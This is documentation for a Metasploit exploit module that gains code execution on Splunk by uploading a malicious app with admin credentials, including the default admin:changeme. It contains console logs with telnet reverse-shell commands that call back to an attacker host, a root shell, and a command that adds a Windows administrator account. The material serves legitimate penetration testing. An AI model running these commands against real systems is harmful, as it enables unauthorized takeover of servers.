245 lines
9.7 KiB
Markdown
245 lines
9.7 KiB
Markdown
|
## Vulnerable Application
|
||
|
|
|
||
|
|
This module exploits a feature of Splunk whereby a custom application can be
|
||
|
|
uploaded through the web based interface. Through the `script` search command a
|
||
|
|
user can call commands defined in their custom application which includes arbitrary
|
||
|
|
perl or python code. To abuse this behavior, a valid Splunk user with the admin
|
||
|
|
role is required. By default, this module uses the credential of "admin:changeme",
|
||
|
|
the default Administrator credential for Splunk.
|
||
|
|
Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default.
|
||
|
|
This module has been tested successfully against:
|
||
|
|
|
||
|
|
* 5.0 ([Ubuntu 10.04](https://github.com/rapid7/metasploit-framework/pull/1138#issue-3277564), [Windows XP and Windows Server 2003 SP2](https://github.com/rapid7/metasploit-framework/pull/1138#issue-3277564) with splunk-5.0.1-143156)
|
||
|
|
* 6.1, 6.1.1
|
||
|
|
* 7.2.4 (OSX 10.14.3, Windows 10 10.0.17134.1, CentOS7 3.10.0-957.1.3.el7.x86_64)
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Start msfconsole
|
||
|
|
2. Do: ```use exploit/multi/http/splunk_upload_app_exec```
|
||
|
|
3. Set required variables (you will need admin credentials)
|
||
|
|
4. Do: ```SET LHOST [ip]```
|
||
|
|
5. Do: ```SET RHOST [ip]```
|
||
|
|
6. Set a payload:
|
||
|
|
* If targeting linux or macos the payload ```cmd/unix/reverse_python``` will be automatically selected.
|
||
|
|
* If targeting windows the payload ```cmd/windows/adduser``` will be automatically selected.
|
||
|
|
|
||
|
|
7. You should get either a reverse shell on port 4444 via the predefined handler (Linux/OSX) or a new user in case (windows target)
|
||
|
|
|
||
|
|
## External Demo
|
||
|
|
* [First PoC](http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html)
|
||
|
|
|
||
|
|
* [Metasploit module how-to](http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html)
|
||
|
|
|
||
|
|
* [SPLUNK API](http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script)
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
**EnableOverwrite**
|
||
|
|
Overwrites an app of the same name. Needed if you change the app code in the tgz.
|
||
|
|
Default is `false`
|
||
|
|
|
||
|
|
**USERNAME**
|
||
|
|
Username for Splunk. Default is `admin`
|
||
|
|
|
||
|
|
**PASSWORD**
|
||
|
|
Default is `changeme`
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Tested against 7.2.4 running on OSX 10.14.3
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) >
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) > set RHOST 172.16.165.1
|
||
|
|
RHOST => 172.16.165.1
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) > set password splunksplunk
|
||
|
|
password => splunksplunk
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) > show targets
|
||
|
|
|
||
|
|
Exploit targets:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
0 Automatic
|
||
|
|
1 Splunk >= 7.2.4 / Linux
|
||
|
|
2 Splunk >= 7.2.4 / Windows
|
||
|
|
3 Splunk >= 7.2.4 / OSX
|
||
|
|
4 Splunk >= 5.0.1 / Linux
|
||
|
|
5 Splunk >= 5.0.1 / Windows
|
||
|
|
|
||
|
|
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) > set target 3
|
||
|
|
target => 3
|
||
|
|
msf5 exploit(multi/http/splunk_upload_app_exec) > exploit
|
||
|
|
|
||
|
|
[*] Started reverse TCP double handler on 172.16.165.206:4444
|
||
|
|
[*] Using command: sh -c '(sleep 3733|telnet 172.16.165.206 4444|while : ; do sh && break; done 2>&1|telnet 172.16.165.206 4444 >/dev/null 2>&1 &)'
|
||
|
|
[*] Authenticating...
|
||
|
|
[*] Fetching state token from /en-US/manager/appinstall/_upload
|
||
|
|
[*] Uploading file upload_app_exec.tgz
|
||
|
|
[+] upload_app_exec successfully uploaded
|
||
|
|
[*] Invoking script command
|
||
|
|
[*] Accepted the first client connection...
|
||
|
|
[*] Accepted the second client connection...
|
||
|
|
[*] Command: echo 8kNbt70jYB3aJKPm;
|
||
|
|
[*] Writing to socket A
|
||
|
|
[*] Writing to socket B
|
||
|
|
[*] Reading from sockets...
|
||
|
|
[*] Reading from socket A
|
||
|
|
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n8kNbt70jYB3aJKPm\r\n"
|
||
|
|
[*] Matching...
|
||
|
|
[*] B is input...
|
||
|
|
[*] Command shell session 1 opened (172.16.165.206:4444 -> 172.16.165.1:51512) at 2019-03-17 22:12:33 +0100
|
||
|
|
```
|
||
|
|
|
||
|
|
### Tested against splunk-5.0.1-143156 on Ubuntu 10.04
|
||
|
|
|
||
|
|
```
|
||
|
|
msf > use exploit/multi/http/splunk_upload_app_exec
|
||
|
|
msf exploit(splunk_upload_app_exec) > show options
|
||
|
|
|
||
|
|
Module options (exploit/multi/http/splunk_upload_app_exec):
|
||
|
|
|
||
|
|
Name Current Setting Required Description
|
||
|
|
---- --------------- -------- -----------
|
||
|
|
PASSWORD changeme yes The password for the specified username
|
||
|
|
Proxies no Use a proxy chain
|
||
|
|
RHOST yes The target address
|
||
|
|
RPORT 8000 yes The target port
|
||
|
|
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
|
||
|
|
USERNAME admin yes The username with admin role to authenticate as
|
||
|
|
VHOST no HTTP server virtual host
|
||
|
|
|
||
|
|
|
||
|
|
Exploit target:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
0 Splunk 5.0.1 / Linux
|
||
|
|
|
||
|
|
|
||
|
|
msf exploit(splunk_upload_app_exec) > set RHOST 192.168.1.137
|
||
|
|
RHOST => 192.168.1.137
|
||
|
|
msf exploit(splunk_upload_app_exec) > rexploit
|
||
|
|
[*] Reloading module...
|
||
|
|
|
||
|
|
[*] Using command: sh -c '(sleep 4597|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
|
||
|
|
[*] Authenticating...
|
||
|
|
[*] Started reverse double handler
|
||
|
|
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
|
||
|
|
[*] Uploading file upload_app_exec.tgz
|
||
|
|
[*] upload_app_exec successfully uploaded
|
||
|
|
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
|
||
|
|
[*] Invoking script command
|
||
|
|
[*] Accepted the first client connection...
|
||
|
|
[*] Accepted the second client connection...
|
||
|
|
[*] Command: echo uyYJGuNfu2AetK0N;
|
||
|
|
[*] Writing to socket A
|
||
|
|
[*] Writing to socket B
|
||
|
|
[*] Reading from sockets...
|
||
|
|
[*] Reading from socket A
|
||
|
|
[*] A: "uyYJGuNfu2AetK0N\r\n"
|
||
|
|
[*] Matching...
|
||
|
|
[*] B is input...
|
||
|
|
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.137:41432) at 2012-12-07 11:53:35 +0100
|
||
|
|
|
||
|
|
id
|
||
|
|
uid=0(root) gid=0(root) groups=0(root)
|
||
|
|
```
|
||
|
|
|
||
|
|
### Tested against splunk-5.0.1-143156 on Windows XP
|
||
|
|
|
||
|
|
```
|
||
|
|
msf exploit(splunk_upload_app_exec) > show targets
|
||
|
|
|
||
|
|
Exploit targets:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
0 Splunk 5.0.1 / Linux
|
||
|
|
1 Splunk 5.0.1 / Windows
|
||
|
|
|
||
|
|
|
||
|
|
msf exploit(splunk_upload_app_exec) > set target 1
|
||
|
|
target => 1
|
||
|
|
msf exploit(splunk_upload_app_exec) > set payload cmd/windows/adduser
|
||
|
|
payload => cmd/windows/adduser
|
||
|
|
msf exploit(splunk_upload_app_exec) > show options
|
||
|
|
|
||
|
|
Module options (exploit/multi/http/splunk_upload_app_exec):
|
||
|
|
|
||
|
|
Name Current Setting Required Description
|
||
|
|
---- --------------- -------- -----------
|
||
|
|
PASSWORD changeme yes The password for the specified username
|
||
|
|
Proxies no Use a proxy chain
|
||
|
|
RHOST 192.168.1.137 yes The target address
|
||
|
|
RPORT 8000 yes The target port
|
||
|
|
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
|
||
|
|
USERNAME admin yes The username with admin role to authenticate as
|
||
|
|
VHOST no HTTP server virtual host
|
||
|
|
|
||
|
|
|
||
|
|
Payload options (cmd/windows/adduser):
|
||
|
|
|
||
|
|
Name Current Setting Required Description
|
||
|
|
---- --------------- -------- -----------
|
||
|
|
CUSTOM no Custom group name to be used instead of default
|
||
|
|
PASS Metasploit$1 yes The password for this user
|
||
|
|
USER metasploit yes The username to create
|
||
|
|
WMIC false yes Use WMIC on the target to resolve administrators group
|
||
|
|
|
||
|
|
|
||
|
|
Exploit target:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
1 Splunk 5.0.1 / Windows
|
||
|
|
|
||
|
|
|
||
|
|
msf exploit(splunk_upload_app_exec) > rexploit
|
||
|
|
[*] Reloading module...
|
||
|
|
|
||
|
|
[*] Using command: cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
|
||
|
|
[*] Authenticating...
|
||
|
|
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
|
||
|
|
[*] Uploading file upload_app_exec.tgz
|
||
|
|
[*] upload_app_exec successfully uploaded
|
||
|
|
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
|
||
|
|
[*] Invoking script command
|
||
|
|
```
|
||
|
|
|
||
|
|
After that, on the victim machine:
|
||
|
|
|
||
|
|
```
|
||
|
|
C:\Documents and Settings\Administrator>net user metasploit
|
||
|
|
User name metasploit
|
||
|
|
Full Name
|
||
|
|
Comment
|
||
|
|
User's comment
|
||
|
|
Country code 000 (System Default)
|
||
|
|
Account active Yes
|
||
|
|
Account expires Never
|
||
|
|
|
||
|
|
Password last set 12/6/2012 11:19 PM
|
||
|
|
Password expires 1/18/2013 10:07 PM
|
||
|
|
Password changeable 12/6/2012 11:19 PM
|
||
|
|
Password required Yes
|
||
|
|
User may change password Yes
|
||
|
|
|
||
|
|
Workstations allowed All
|
||
|
|
Logon script
|
||
|
|
User profile
|
||
|
|
Home directory
|
||
|
|
Last logon Never
|
||
|
|
|
||
|
|
Logon hours allowed All
|
||
|
|
|
||
|
|
Local Group Memberships *Administrators *Users
|
||
|
|
Global Group memberships *None
|
||
|
|
The command completed successfully.
|
||
|
|
|
||
|
|
|
||
|
|
C:\Documents and Settings\Administrator>
|
||
|
|
```
|